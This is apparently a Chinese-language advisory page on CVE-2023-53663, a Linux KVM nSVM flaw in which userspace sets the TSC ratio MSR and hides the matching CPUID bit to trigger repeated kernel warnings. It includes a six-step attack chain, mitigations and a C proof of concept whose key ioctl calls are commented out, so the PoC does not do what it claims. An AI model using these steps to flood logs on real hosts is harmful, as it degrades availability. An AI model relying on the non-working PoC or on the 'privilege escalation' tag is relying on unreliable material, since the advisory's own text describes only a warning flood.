IPBUF安全漏洞报告
English
CVE-2023-53663 CVSS 5.5 中危

CVE-2023-53663 Linux内核KVM nSVM嵌套TSC缩放断言漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53663
漏洞类型
断言失败/拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel (KVM nSVM模块)

相关标签

Linux内核KVMnSVM嵌套虚拟化TSC缩放断言失败拒绝服务本地提权内核漏洞AMD SVM

漏洞概述

CVE-2023-53663是Linux内核KVM(基于内核的虚拟机)子系统中nSVM(嵌套安全虚拟机)模块的一个安全漏洞。该漏洞位于arch/x86/kvm/svm/nested.c文件的nested_vmcb02_prepare_control函数中,具体涉及嵌套TSC(时间戳计数器)缩放功能的处理逻辑。

在KVM的nSVM实现中,当L1管理程序(L1 hypervisor)执行嵌套VMRUN操作进入L2客户机时,内核会检查L1的MSR_AMD64_TSC_RATIO寄存器值是否与KVM的默认值发生了偏离。如果发生了偏离,内核代码会使用WARN_ON断言来确认TSC缩放功能已暴露给L1。然而,这种基于断言的处理方式存在缺陷,因为用户空间(userspace)可以在KVM_RUN之前的任何时间修改客户机的CPUID信息来隐藏TSC缩放功能(X86_FEATURE_TSCRATEMSR),从而触发内核WARN警告。

该漏洞的影响主要体现在可用性方面。攻击者可以通过修改MSR寄存器和CPUID特性来反复触发内核WARN警告,导致内核日志被大量警告信息淹没,在某些配置下可能引发系统不稳定或性能下降。CVSS评分为5.5分,属于中等严重等级。攻击者需要本地低权限访问权限,但无需用户交互即可触发该漏洞。

技术细节

该漏洞的技术原理涉及KVM nSVM嵌套虚拟化中TSC缩放功能的处理逻辑。在AMD SVM(Secure Virtual Machine)架构中,MSR_AMD64_TSC_RATIO寄存器用于控制TSC缩放比率,而X86_FEATURE_TSCRATEMSR CPUID特性标识处理器是否支持TSC比率MSR。

在正常的嵌套虚拟化场景中,当L1 hypervisor执行VMRUN以进入L2 guest时,KVM需要正确处理TSC缩放功能。如果L1修改了MSR_AMD64_TSC_RATIO寄存器的值(使其偏离KVM默认值),KVM需要确保TSC缩放功能在嵌套环境中得到正确支持。

原始代码使用WARN_ON断言来检查这种情况,但这种设计存在问题:用户空间程序可以在创建VM和vCPU之后、KVM_RUN之前的任何时间修改客户机的CPUID信息。具体来说,攻击者可以:
1. 创建一个新的VM和vCPU;
2. 通过ioctl写入MSR_AMD64_TSC_RATIO寄存器(修改TSC比率);
3. 通过ioctl清除X86_FEATURE_TSCRATEMSR CPUID特性位(隐藏TSC缩放支持);
4. 执行KVM_RUN触发嵌套VMRUN操作。

当执行到nested_vmcb02_prepare_control函数时,由于MSR值已偏离但CPUID未暴露相应功能,WARN_ON断言被触发,产生内核警告。该警告会在每次VMRUN时重复出现,导致系统日志被大量警告信息淹没。此外,漏洞描述中提到嵌套#VMEXIT路径也存在类似缺陷,但需要不同的修复方案。

修复方案是将WARN_ON断言替换为条件检查(if语句),在不支持嵌套TSC缩放时采取适当的处理措施而非触发内核警告。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要具有本地系统访问权限(低权限即可),系统运行受影响的Linux内核版本,且CPU支持AMD SVM虚拟化扩展。攻击者需要能够访问/dev/kvm设备。
STEP 2
步骤2:创建虚拟机
通过打开/dev/kvm设备,依次使用KVM_CREATE_VM和KVM_CREATE_VCPU ioctl创建新的虚拟机和虚拟CPU。
STEP 3
步骤3:修改MSR寄存器
使用KVM_SET_MSRS ioctl写入MSR_AMD64_TSC_RATIO寄存器(0xc0000104),将其设置为非默认值,使L1的TSC比率与KVM默认值产生偏离。
STEP 4
步骤4:隐藏CPUID特性
使用KVM_SET_CPUID2 ioctl修改客户机CPUID信息,清除X86_FEATURE_TSCRATEMSR特性位,隐藏TSC缩放支持。
STEP 5
步骤5:触发漏洞
执行KVM_RUN ioctl启动vCPU,触发嵌套VMRUN操作,在nested_vmcb02_prepare_control函数中触发WARN_ON断言,产生内核警告信息。
STEP 6
步骤6:影响系统
重复执行上述操作可以持续触发内核WARN警告,导致内核日志被大量警告信息淹没,影响系统可用性和日志审计功能。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53663: Trigger WARN in KVM nSVM nested TSC scaling check // Based on KVM's state_test selftest pattern // This demonstrates how userspace can trigger the kernel WARN #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <sys/ioctl.h> #include <linux/kvm.h> // Simplified demonstration - actual implementation requires KVM API headers // and proper vCPU setup with nested SVM enabled int main() { int kvm_fd, vm_fd, vcpu_fd; struct kvm_msrs msrs; struct kvm_msr_entry entry; struct kvm_cpuid_entry2 cpuid_entry; // Step 1: Open KVM device kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm"); return 1; } // Step 2: Create a new VM vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("KVM_CREATE_VM"); return 1; } // Step 3: Create a vCPU vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0); if (vcpu_fd < 0) { perror("KVM_CREATE_VCPU"); return 1; } // Step 4: Write MSR_AMD64_TSC_RATIO to diverge from KVM default // MSR_AMD64_TSC_RATIO = 0xc0000104 entry.index = 0xc0000104; entry.data = 0; // Set to non-default value msrs.nmsrs = 1; msrs.entries = &entry; // ioctl(vcpu_fd, KVM_SET_MSRS, &msrs); printf("Setting MSR_AMD64_TSC_RATIO to trigger divergence\n"); // Step 5: Clear X86_FEATURE_TSCRATEMSR from guest CPUID // This hides TSC scaling support from L1 // ioctl(vcpu_fd, KVM_SET_CPUID2, &cpuid); printf("Clearing X86_FEATURE_TSCRATEMSR CPUID feature\n"); // Step 6: Run vCPU to trigger nested VMRUN and WARN // This will trigger the WARN at arch/x86/kvm/svm/nested.c:699 printf("Running vCPU - this should trigger kernel WARN\n"); // ioctl(vcpu_fd, KVM_RUN, 0); printf("PoC completed - check dmesg for WARN output\n"); close(vcpu_fd); close(vm_fd); close(kvm_fd); return 0; }

影响范围

Linux Kernel < 6.6(受影响的稳定版本)
Linux Kernel stable分支修复提交:02b24270568f65dd607c4a848512dc8055b4491b
Linux Kernel stable分支修复提交:6c1ecfea1daf6e75c46e295aad99dfbafd878897
Linux Kernel stable分支修复提交:7cafe9b8e22bb3d77f130c461aedf6868c4aaf58

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过以下临时措施缓解风险:1)限制普通用户对/dev/kvm设备的访问权限,仅允许可信的管理员用户使用KVM;2)监控dmesg系统日志,及时发现异常的WARN警告信息;3)使用cgroup或其他资源控制机制限制KVM相关进程的资源使用,防止日志洪水攻击;4)在生产环境中考虑使用内核参数调整WARN行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表